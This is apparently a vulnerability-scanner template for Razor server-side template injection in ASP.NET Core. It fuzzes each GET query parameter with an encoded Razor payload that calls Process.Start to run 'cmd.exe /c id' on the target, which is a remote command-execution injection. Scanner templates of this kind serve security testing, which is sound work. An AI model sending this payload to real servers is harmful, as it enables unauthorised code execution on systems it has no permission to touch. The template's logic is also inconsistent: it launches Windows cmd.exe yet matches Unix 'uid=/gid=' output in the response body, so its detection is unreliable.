id: razor-ssti

info:
  name: Razor - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Razor is a server-side templating engine for ASP.NET Core, it is a powerful template engine that can run pure C# code. It allows for server-side template injection by exploiting the Razor syntax.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: razor,ssti,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "@{string+x%3Dnull%3Bint[]l%3D{105%2C100}%3Bforeach(int+c+in+l){x%2B%3D((char)c).ToString()%3B}%3B}@System.Diagnostics.Process.Start(%22cmd.exe%22%2C+%22/c+%22+x)"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4b0a00483046022100801004ad74088848bb2d0f0c58bfcbc03e0377e1c676abc2f1ffe6d26bf02696022100f8282e6099dc443b79b1edbe13e7c6f0ca7a1d0aeedd91ce8a33689751843e15:922c64590222798bb761d5b6d8e72950